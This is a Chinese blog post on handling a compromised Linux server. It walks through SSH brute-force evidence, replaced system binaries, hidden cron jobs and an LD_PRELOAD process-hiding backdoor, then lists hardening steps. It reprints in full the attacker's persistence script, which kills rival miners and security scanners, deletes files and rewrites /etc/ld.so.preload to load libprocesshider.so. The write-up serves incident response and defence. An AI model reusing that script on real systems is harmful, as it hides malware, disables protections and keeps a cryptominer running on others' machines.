分享服務(wù)器被入侵的處理過(guò)程

更新時(shí)間：2022年09月06日 10:12:15 作者：自由早晚亂余生

這篇文章主要介紹了一次服務(wù)器被入侵的處理過(guò)程分享,下文中的給文件和目錄加鎖，是指給文件和目錄增加了一些屬性，只讀等，需要的朋友可以參考下

一、服務(wù)器入侵現(xiàn)象

近期有一個(gè)朋友的服務(wù)器(自己做了網(wǎng)站)好像遭遇了入侵，具體現(xiàn)象是：服務(wù)器 CPU 資源長(zhǎng)期 100%，負(fù)載較高。服務(wù)器上面的服務(wù)不能正常提供服務(wù)。

朋友處理了一會(huì)沒(méi)有解決，我開(kāi)始想說(shuō)我不是搞安全的，我怎么會(huì)，但朋友開(kāi)出了天價(jià)，一頓海底撈，我在生活和現(xiàn)實(shí)面前低頭了。開(kāi)始上手看看了。

二、服務(wù)器排查和處理

2.1、服務(wù)器被入侵的可能原因

服務(wù)器 ssh 密碼設(shè)置得很簡(jiǎn)單。
騰訊云安全組范圍放得很大。
使用了寶塔，寶塔面板的密碼也是很簡(jiǎn)單的密碼(應(yīng)該不是這個(gè)入侵入口)。

2.2、排查和處理步驟

ps -ef / top 找出占用進(jìn)程最大的服務(wù)

問(wèn)題現(xiàn)象

ps/top 命令已經(jīng)被替換了。

查找詳細(xì)的入侵痕跡 last 或者 grep 'Accepted' /var/log/secure。

問(wèn)題現(xiàn)象

[root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secure
Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

lighthouse 騰訊云輕量服務(wù)器

我們?cè)谶@里就可以看到，有一些境外IP 34.215.138.2 成功登錄了，這些 IP不是我們的正常登錄。在 /var/log/secure 日志里，我看到了 IP 34.215.138.2 嘗試登錄不到500次就已經(jīng)破解成功了。

處理措施

這里我們立馬采取了第一個(gè)措施，

在騰訊云安全組限制了 SSH 的登錄IP，之前的安全組 SSH 是放行所有IP。
將 SSH ROOT 密碼修改。
/root/.ssh/authorized_keys 備份，并清空。

[root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak': Permission denied

這時(shí)我們就遇到了權(quán)限的問(wèn)題，這個(gè)晚點(diǎn)展開(kāi)講，因?yàn)槲覀円呀?jīng)限制了源IP，所以這個(gè)我們可以晚點(diǎn)來(lái)處理。

3.查看最近新增的一些用戶

問(wèn)題現(xiàn)象

cat /etc/passwd

處理措施

鎖定用戶

[root@VM-12-12-centos ~]# usermod  -L  sys1

4.我這里不計(jì)劃去找進(jìn)程（已經(jīng)在新建一臺(tái)版本一致的系統(tǒng)，來(lái)拷貝 top 和 ps 命令，需要一小會(huì)，我們趁這個(gè)時(shí)間，先看看其他），因?yàn)橹芭笥阎貑⑦^(guò)服務(wù)器，發(fā)現(xiàn)服務(wù)器啟動(dòng)過(guò)一會(huì)才會(huì)負(fù)載較高。我認(rèn)為入侵者應(yīng)該放了一些定時(shí)任務(wù)和啟動(dòng)腳本里面。

問(wèn)題現(xiàn)象

定時(shí)任務(wù)

crond 讀取配置文件會(huì)從以下幾個(gè)路徑讀?。?/p>

/var/spool/cron/ , 由crontab -e 進(jìn)行寫入，配置文件無(wú)需指定用戶
/etc/crontab ，只能root 進(jìn)行編輯，配置文件需指定用戶
/etc/cron.d/ ,在此文件夾下創(chuàng)建定時(shí)任務(wù)文件，配置文件需指定用戶
/etc/cron.*

/var/spool/cron/ 未找到(后面會(huì)說(shuō)到這里有障眼法)

/etc/crontab 未找到(后面會(huì)說(shuō)到這里有障眼法)

但是我在 /var/log/cron 一直看到有任務(wù)執(zhí)行。每間隔5分鐘。

Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )

Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )

處理措施

這里我們先做的操作就是，先把 /usr/lib/mysql/mysql 和 /sbin/httpss 給刪除。刪除的時(shí)候還是提示沒(méi)有權(quán)限。我們知道這些文件應(yīng)該是加瑣了，所以我開(kāi)始解鎖，我們發(fā)現(xiàn) chattr 也被替換和鎖住了。所以不能操作下去了。

開(kāi)機(jī)啟動(dòng)腳本

/etc/rc.local ，我們也發(fā)現(xiàn)了一個(gè)腳本。

[root@VM-12-12-centos ~]# cat /etc/rc.local
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.

/usr/bin/0f4f80f9ab start

但是這個(gè)文件好像不存在的，我們就把這個(gè)給注釋了。

5.還原更改了 top、ps、chattr、lsattr.

首先我們從相同版本的機(jī)器拷貝了 chattr、lsattr，我們得先操作這個(gè)，因?yàn)槲覀兊?top 和 ps 都被鎖住了。
我將文件上傳至 /tmp 目錄，然后增加可執(zhí)行權(quán)限，然后先給 /usr/bin/chattr 解除鎖定。

/tmp/chattr -ai /usr/bin/chattr

執(zhí)行完之后，發(fā)現(xiàn)還是不能替換 /usr/bin/chattr。最后耗費(fèi)了一段時(shí)間才反應(yīng)到，入侵者可能不僅僅加鎖了文件還加鎖了 /usr/bin/。
解鎖目錄

/tmp/chattr -ai /usr/bin/

這下才能把 /usr/bin/chattr 給替換掉。
接下來(lái)參考這些，我們把 top 和 ps 、lsattr 給還原了。

部分截圖

三、本次入侵需要帶來(lái)啟示的點(diǎn)

ps 、top 、chattr 、lsattr

在這些命令被替換了，并且我們想還原又還原不了的場(chǎng)景，我們可以拷貝同版本的機(jī)器相同的命令放在其它目錄，用這些命令來(lái)解除入侵者將它已經(jīng)替換并鎖定了文件。注意有些入侵者不僅會(huì)在文件層面加鎖，還會(huì)在當(dāng)前的文件的目錄這一層加鎖。我之前在這個(gè)上面困惑了一段時(shí)間。

文件內(nèi)容隱藏

上文中，我執(zhí)行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。發(fā)現(xiàn)文件沒(méi)有內(nèi)容。

其實(shí)不知道使用了什么特殊字符還是什么隱藏了，其實(shí)是存在定時(shí)任務(wù)的。

示例：

這個(gè)配置是如何導(dǎo)致 cat/more 看不了的, 今天再次看了下，這個(gè)文件可能是被當(dāng)成了數(shù)據(jù)文件，因?yàn)槲野堰@個(gè)文件 file 查看了之后，文件屬性是data. 然后文件包含的特殊字符。導(dǎo)致隱藏了，具體的有知道的大佬可以告知下。

其中一個(gè)腳本。

[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 
#!/bin/sh
while test 1 = 1
do
sleep 30
pkill -f main
killall main
killall sprshduerjsaia
pkill -f sprshduerjsaia
killall dr64
pkill -f dr64
killall .report_system
pkill -f .report_system
killall sshc
pkill -f sshc
pkill -f memory
killall memory
killall warmup
killall koko
killall kthreaddk
killall systemc
killall cront
killall xm64_linux
killall /var/tmp/j/./intelshell
pkill -f dos32
pkill -f dos64
pkill -f .name
pkill -f /usr/sbin/dbus
pkill -f systemd-boot-check-no-failures
killall .report_system
pkill -f .report_system
pkill -f keep-alive
pkill -f linu
pkill -f zapppp
killall [scan]
killall [ext4]
pkill -f xm64_linux
pkill -f ddrirc
killall ./-bash
pkill -f ./-bash
killall kworkers
killall dbus
pkill -f biden1
pkill -f cpuminer-sse2
killall work64
pkill -f work64
killall work32
pkill -f work32
killall aarch12
pkill -f aarch12
killall bash1
pkill -f bash1
killall intelshell
pkill -f intelshell
killall heaven
pkill -f heaven
killall .syst3md
pkill -f .syst3md
pkill -f apachelogs
killall .meinkampf
pkill -f .meinkampf
killall xri
pkill -f xri
killall koko
pkill -f koko
killall work32-deamon
pkill -f work32-deamon
killall work64 -deamon
pkill -f work64 -deamon
killall secure.sh
pkill -f secure.sh
kkillall auth.sh
pkill -f auth.sh
killall autoupdate
pkill -f kworkers
pkill -f autoupdate
killall ld-linux
pkill -f ld-linux
pkill -9 Donald
killall -9 Donald
pkill -f /usr/local/bin/pnscan
pkill -f /usr/bin/biden1
killall /usr/bin/biden1
killall r
killall trace
pkill -f minerd
killall minerd
pkill -f xm64
killall xm64
pkill -f sysdm
killall sysdm
pkill -f syst3md
killall syst3md
pkill -f xrig
killall xrig
pkill -f busybox
killall busybox
pkill -f joseph
killall joseph
pkill -f osama
killall osama
killall daemon
pkill -f obama1
killall obama1
pkill -f kswapd0
killall kswapd0
pkill -f jehgms
killall jehgms
pkill -f tsm
killall tsm
pkill -f rig
killall rig
pkill -f xmr
killall xmr
pkill -f playstation
killall playstation
pkill -f ld-linux-x86-64
killall ld-linux-x86-64
pkill -f ruckusapd
killall ruckusapd
pkill -f run64
killall run64
pkill -f pwnrig
killall pwnrig
pkill -f phpupdate
killall phpupdate
pkill -f sysupdate
killall sysupdate
pkill -f phpguard
killall phpguard
pkill -f firstpress
killall firstpress
pkill -f zerocert
killall zerocert
pkill -f masscan
killall masscan
pkill -f -bash
pkill -f spreadQlmnop
killall spreadQlmnop
killall -bash
pkill -f cnrig
killall cnrig
pkill -f netvhost
killall netvhost
pkill -f kthreadds
killall kthreadds
pkill -f kthreadd
killall kthreadd
pkill -f kdevtmpfsi
killall kdevtmpfsi
pkill -f linuxservice
killall linuxservice
pkill -f rtmonitor
killall rtmonitor
pkill -f dev
killall dev
pkill -f xmrig
killall xmrig
pkill -f master
killall master
killall sysmd
pkill -f sysmd
pkill -f sendmail
killall sendmail
pkill -f ld-musl-x86_64.
killall ld-musl-x86_64.
killall watchdog
pkill -f watchdog
pkill -f 32678
killall 32678
killall dhpcd
pkill -f dhpcd
killall linux_amd64
pkill -f linux_amd64
killall xredis
pkill -f xredis
killall Linux2.6
killall .chornyd
pkill -f .chornyd
killall Opera
pkill -f Opera
killall libertyd
pkill -f libertyd
killall rcubind
pkill -f rcubind
killall clamscan
pkill -f clamscan
killall pnscan
pkill -f pnscan
killall zzh
pkill -f zzh
killall bioser
pkill -f bioser
rm -rf /root/.configrc/
rm -rf /tmp/.X26-unix/
rm -rf /tmp/.bash/
rm -rf /root/.bash/
rm -rf /root/.cache/
rm -rf /tmp/.cache/
rm -rf /dev/shm/.ssh/
rm -rf /etc/.etcservice/linuxservice
rm -rf /etc/.vhost/netvhost
rm -rf /tmp/up.txt
rm -rf /var/tmp/.update/
rm -rf /var/tmp/.systemd/
rm -rf /usr/sbin/.bash./.bash/
rm -rf /etc/master
rm -rf /usr/bin/busybox
rm -rf /bin/sysmd
rm -rf /tmp/.mx/
rm -rf /dev/shm/.mx/
rm -rf /usr/bin/xrig
rm -rf /etc/32678
rm -rf /root/c3pool/
rm -rf /usr/bin/.sshd/
rm -rf /tmp/div
systemctl stop c3pool_miner.service
systemctl stop pwnriglhttps.service
systemctl stop cryto
systemctl stop scan
systemctl stop bot
systemctl stop myservice.service
systemctl stop netns.service
systemctl stop cryptsetup.service
echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
lockr +ai /etc/ld.so.preload >/dev/null 2>&1
chmod 777 /usr/lib/mysql/*
/usr/lib/mysql/./mysql
done

我們可以看到這個(gè)腳本其實(shí)一直在更改 /etc/ld.so.preload 的內(nèi)容。并且在關(guān)閉一些掃描軟件和系統(tǒng)的服務(wù)。

在 Linux 操作系統(tǒng)的動(dòng)態(tài)鏈接庫(kù)加載過(guò)程中，動(dòng)態(tài)鏈接器會(huì)讀取 LD_PRELOAD 環(huán)境變量的值和默認(rèn)配置文件 /etc/ld.so.preload 的文件內(nèi)容，并將讀取到的動(dòng)態(tài)鏈接庫(kù)進(jìn)行預(yù)加載，即使程序不依賴這些動(dòng)態(tài)鏈接庫(kù)，LD_PRELOAD 環(huán)境變量和 /etc/ld.so.preload 配置文件中指定的動(dòng)態(tài)鏈接庫(kù)依然會(huì)被裝載，它們的優(yōu)先級(jí)比 LD_LIBRARY_PATH 環(huán)境變量所定義的鏈接庫(kù)查找路徑的文件優(yōu)先級(jí)要高，所以能夠提前于用戶調(diào)用的動(dòng)態(tài)庫(kù)載入。

——段落引自《警惕利用 Linux 預(yù)加載型惡意動(dòng)態(tài)鏈接庫(kù)的后門》

我已經(jīng)刪除了 /usr/local/lib/libprocesshider.so 文件，之后每次執(zhí)行命令會(huì)有這個(gè)報(bào)錯(cuò)。

我在清空文件 /etc/ld.so.preload 之后，我發(fā)現(xiàn)好了一會(huì)后，還是出現(xiàn)這個(gè)，我再看 /etc/ld.so.preload 文件，里面又寫了 /usr/local/lib/libprocesshider.so ，我懷疑還有定時(shí)任務(wù)，但是我找了一會(huì)定時(shí)任務(wù)，還是沒(méi)有找到。后面在查看異常進(jìn)程的時(shí)候，我看到了這個(gè)進(jìn)程

發(fā)現(xiàn)這個(gè)腳本的就是一直在循環(huán)執(zhí)行上面內(nèi)容。將這個(gè)進(jìn)程 kill 后，然后刪除腳本。

四、本次服務(wù)器被入侵的一些啟示

用好云廠家的安全組。對(duì)一些關(guān)鍵端口，放行規(guī)則盡量最小/
服務(wù)器相關(guān)的一些密碼盡量增加復(fù)雜性。
增加對(duì)一些關(guān)鍵文件的監(jiān)控. (通過(guò)監(jiān)控軟件監(jiān)控 md5值)

/etc/passwd
/etc/shadow
/etc/group
/root/.bash_history
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/etc/profile
/var/spool/cron/root
/etc/crontab
/etc/ld.so.preload
/etc/rc.local
lsof
ps
netstat
top
ls
pstree
last
history
sudo
password
chattr
lsattr

4.服務(wù)器入侵之后，我們需要怎么處理才是最好的。

https://cloud.tencent.com/document/product/296/9604

https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST

1.服務(wù)器如果有開(kāi)放SSH 遠(yuǎn)程登錄，可以設(shè)置限制登錄(安全組、或者服務(wù))，只放行自己的IP. 查找詳細(xì)的入侵痕跡 last 或者 grep 'Accepted' /var/log/secure

/root/.ssh/authorized_keys /etc/passwd 這些文件也可以看下。將一些新建的用戶鎖定。

2.服務(wù)器如果可以關(guān)閉外網(wǎng)，就關(guān)閉外網(wǎng)。在安全組層面設(shè)置下，或者路由或者NAT。

3.首先看下 ps/top 命令有沒(méi)有被篡改，如果有的話，從其他正常的機(jī)器上拷貝至服務(wù)器上。然后執(zhí)行查看異常進(jìn)程。也要查詢下 /etc/ld.so.preload 是否有被篡改。如果有的的話，記得清空里面的內(nèi)容，然后將對(duì)應(yīng)的文件刪除或者重命名。

如果使用過(guò)程中遇到了文件不可刪，不可改的問(wèn)題，需要使用 chattr -ia 文件名 如果 chattr 也被串改，那就需要從別的機(jī)器拷貝。然后復(fù)原。

4.如果上述沒(méi)有找到，可以通過(guò) netstat 間接查看異常的連接從而查詢異常進(jìn)程。

5.檢查開(kāi)機(jī)啟動(dòng) 和 crontab 相關(guān)的內(nèi)容。

6.檢查異常進(jìn)程。

以上就是這次入侵的處理過(guò)程和得到的一些小啟示，后續(xù)有了解新的會(huì)繼續(xù)補(bǔ)充。

到此這篇關(guān)于分享服務(wù)器被入侵的處理過(guò)程的文章就介紹到這了,更多相關(guān)服務(wù)器入侵處理內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！

您可能感興趣的文章: